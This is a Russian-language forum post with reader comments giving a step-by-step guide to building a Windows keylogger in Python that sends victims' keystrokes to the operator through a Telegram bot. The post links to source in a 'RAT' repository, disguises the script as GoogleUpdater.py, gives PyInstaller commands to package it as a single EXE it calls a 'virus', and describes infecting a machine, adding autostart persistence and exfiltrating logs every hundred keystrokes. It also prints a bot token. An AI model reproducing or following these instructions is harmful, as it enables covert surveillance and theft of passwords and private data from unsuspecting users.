Загрузка...
Авторская статья Пишем Кейлогер-Телеграмм-Бот на Python
  1. Енот272_inactive171964
    Енот272_inactive171964 Автор темы 10 сен 2017 Ушел на покой 372 6 сен 2017
    [Гайд по созданию Кейлогера для ТелеграмБота написанный на Python][Уровень: Null]

    Программа постепенно обновляется и перенесена на гитхаб, став частью рмс. https://github.com/enot-pogromist/simple_rat_bot
    Скрипт отвечающий за кейлоггер имеет название GoogleUpdater.py

    В зборе для всех версий винд https://cloud.mail.ru/public/GfG7/usTGxhPhF

    [IMG]

    Всем Превет!
    В этой статье я поделюсь с вами простым рецептом создания кейлогера с функцией
    отправки сообщений через телеграм. Код будет написан на Python 3.5, и скомпилирован
    в один EXE файл.

    Для тех кто не боится трудностей, читайте дальше:

    На необходимо некоторый софт, не беспокойтесь скачивать его будем с официальных
    сайтов. Вот вам инструкция:

    Допиливаем PyInstaller для Python:

    1) Качаем Python версии 3.5 для 32 бит и устанавливаем его.

    2) Устанавливаем необходимое через pip:
    Открываем CMD.EXE и вставляем строки из списка ниже:
    1) pip install pywin32 --upgrade
    2) pip install python-telegram-bot
    3) pip install winreg
    PS. Если какого нибыло пакета не найдено
    То заходим на http://www.lfd.uci.edu/~gohlke/pythonlibs/
    качаем нужную библиотеку под нашу версию питона и ос и
    устанавливаем командой:
    pip install *.whl --upgrade

    3) Качаем "Visual C++ 2010 (x86)" по ссылке "https://www.microsoft.com/ru-ru/download/confirmation.aspx?id=5555" и устанавливаем его;

    4) Устанавливаем через pip pyinstaller:
    pip install pyinstaller

    Теперь самое интересное:

    5) Устанавливаем библиотеку для пользования телеграмом:
    1) pip install python-telegram-bot --upgrade

    6) Теперь всё готово для создания нашей программы, но мы еще не создали своего бота...
    Устанавливаем телеграмм, регистрируемся если вас там еще нет.
    (странный человек, которого там нет, это для тебя)

    7) Находим через поиск, одного криминального авторитета по имени BotFather.

    [IMG]

    Начинаем с ним переписку нажав на кнопку <start>
    Отвечаем на его вопросы:

    [IMG]

    1) name и username два разных имени одного и того же.
    2) когда на вопросы ответели, создастся ваш бот и вам выдадут уникальный и секретный(!)
    токен, в этом случае вы можете его видеть на скриншоте, для наглядности. Запоминаем его.

    [IMG]
    8) Теперь нам нужно будет создать три файла и найти где нибудь иконку:
    1) app.pyw - тут будет наш бот
    2) keyinput.py - тут библиотека для клавиш
    3) config.yml - тут файл конфигурации
    4) app.ico - будущая иконка приложения
    Получилось? Ну и молодец! Тут уж и любой дурак справился бы.

    9) Теперь вставляем код во все три файла:
    1) app.pyw тут https://github.com/enot-pogromist/simple_rat_bot/blob/master/GoogleUpdater.py
    2) keyinput.py тут https://github.com/enot-pogromist/simple_rat_bot/blob/master/keyinput.py
    3) config.yml тут https://github.com/enot-pogromist/simple_rat_bot/blob/master/data/conf.yml

    [IMG]

    10) Теперь можно скопилировать в один EXE:
    pyinstaller —onefile —windowed —icon=app.ico app.pyw

    11) В папке dist теперь лежит готовый вирус. Он распростроняется вместе с файлом config.yml,
    в который вы должны ***** свои данные такие как токен и имя пользователя. Зачем?
    Токен, это ******* нашего бота - он теперь знает кто он.
    Юсерс, это те пользователи у которых есть доступ к боту.

    token: 330831995:AAEDGbgd8qfhyKUUlvVdA8q-MoU53K0EQo4
    users:
    - enot_pogromist

    PS: ВЫ МОЖЕТЕ НЕ СОЗДАВАТЬ ОТДЕЛЬНОГО ФАЙЛА, ЭТО ДЛЯ ЛЕНИВЫХ. ВЫ МОЖЕТЕ ЗАБИТЬ СВОИ ДАННЫЕ
    СРАЗУ В ТЕЛО СКРИПТА.

    12) А теперь давайте узнаем как работает бот:
    1) (!) Перед заражением вы должны "взвести механизм" - отправить боту (/start)
    Эта функция еще и добавляет нашего друга в автостарт
    2) У вас есть две функции - записывать нажатия (/l) и перезагрузить бота (/r)
    Когда вы запустили "запись нажатий", бот будет записывать все нажатия клавиш и
    отправлять вам файл *****, каждые сто нажатий, в скрипте можно доправить через
    сколько нажатий отправлять.

    [IMG]

    Итак подведем итоги, мы имеем готовый кейлоггер, который будет отправлять **** через
    телеграм. Удобно не правда ли? Ты всегда можешь отредактировать этого бота сам,
    перекомпилировать и всячески изменять.
    Если есть желание можешь отблагодарить меня, яндекс написан в профиле, если есть вопросы
    и коммерческие предложения то пиши в личку Вконтакта. Всегда рад буду!

    <Часто задаваемые вопросы и ответы>

    Вопрос: Почему Python ведь можно было написать на C или Go?
    Ответ: Он проще для усвоения новичку, отладка ошибок проще, есть необходимые модули.

    Вопрос: На Mac или GNU/Linux заработает?
    Ответ: Данная вариация только для Win.

    Вопрос: Русификацию не завезли?
    Ответ: Будет, но позже, обходитесь пока доступными методами.

    Вопрос: Сколько писался данный кейлоггер - бот?
    Ответ: Именно этот примерно 30 минут.

    Вопрос: Можно мне, но еще добавить <somebody>?
    Ответ: Все зависит от Вас, можете сделать заказ, либо ждите следующей статьи,
    если ваша идея мне по нраву, то функционал будет расширен.

    Вопрос: Получится сделать RMS на этой основе?
    Ответ: Да, уже получилось.






    #МояСтатья
     
    10 сен 2017 Изменено
Опрос

Надо дальше?...

Можно выбрать сразу несколько вариантов.
  1. Не, не надо

    12
    11,9%
  2. Угу, пили ещё

    94
    93,1%

Комментарии

    1. extremestyle47
    2. Енот272_inactive171964
      Енот272_inactive171964 Автор темы 10 сен 2017 Ушел на покой 372 6 сен 2017
      Я эту статью писал 3 часа))) Подождите, может сброшу, что нибудь еще.
       
    3. Soweb
      Soweb 10 сен 2017 0 8 сен 2017
      Как на этих ботах рубятся бабки? Слышал что такое возможно но не пойму засчет чего
       
    4. Енот272_inactive171964
      Енот272_inactive171964 Автор темы 10 сен 2017 Ушел на покой 372 6 сен 2017
      Очень перспективное направление именно боты. Телеграмм сейчас как платформа не монетизирован вообще, в скором будущем с поправками на API будет монетизация именно услуг ботов. Например у тебя есть платная подписка на бота, или скажем есть платные функции у бота, ты ими пользуешься - платишь - телеграмм имеет процент. Боты сейчас популярнее социальных сетей, нужно вкатываться в них.
       
    5. vsadnik1121_inactive175577
      норма
       
    6. ExplodingBanana
      ExplodingBanana 12 сен 2017 Заблокирован(а) 1 8 авг 2017
      Может я тупой, но не собирается
       
    7. Енот272_inactive171964
      Енот272_inactive171964 Автор темы 12 сен 2017 Ушел на покой 372 6 сен 2017
      Скриншот в студию, скинь - пофиксим.
       
    8. ExplodingBanana
      ExplodingBanana 13 сен 2017 Заблокирован(а) 1 8 авг 2017
    9. Енот272_inactive171964
      Енот272_inactive171964 Автор темы 13 сен 2017 Ушел на покой 372 6 сен 2017
      pyinstaller --onefile --windowed --icon=app.ico app.pyw | 2 тире перед каждым параметром
       
    10. ExplodingBanana
      ExplodingBanana 13 сен 2017 Заблокирован(а) 1 8 авг 2017
      Делано Результат = 0
       
    11. Енот272_inactive171964
      Енот272_inactive171964 Автор темы 13 сен 2017 Ушел на покой 372 6 сен 2017
      так скинь скриношот.
       
    12. Zzold
      Zzold 13 сен 2017 666 644 20 сен 2016
      Лол Diviniti original sin на обоях
       
    13. ExplodingBanana
      ExplodingBanana 14 сен 2017 Заблокирован(а) 1 8 авг 2017
    14. Енот272_inactive171964
      Енот272_inactive171964 Автор темы 15 сен 2017 Ушел на покой 372 6 сен 2017
      Там ошибка ValueError: 'C:\Users\HP-205G\app.pyw' not found
      Значит по этому пути нет файла app.pyw, либо он как то по другому называется у тебя.
       
    15. ExplodingBanana
      ExplodingBanana 15 сен 2017 Заблокирован(а) 1 8 авг 2017
      [IMG]
       
    16. Енот272_inactive171964
      Енот272_inactive171964 Автор темы 17 сен 2017 Ушел на покой 372 6 сен 2017
      oK, Это было моей ошибкой заставлять вас компилировать исходники, впредь постараюсь лучше делать статьи если они будут, если что посмотри в сторону модуля py2exe, а так я постараюсь сбросить тебе файл, в ближайшее время.
       
    17. AboutSE
      AboutSE 17 сен 2017 0 16 авг 2017
      там опечатка в app.pyw
      вместо kayinput нужно написать keyinput
      в строке:
      from kayinput import Hook, KeyboardEvent
       
    18. alliiccee
      alliiccee 22 сен 2017 0 22 сен 2017
      .
       
    19. alliiccee
      alliiccee 22 сен 2017 0 22 сен 2017
      Почиму не


      могу писать в лс?
       
Top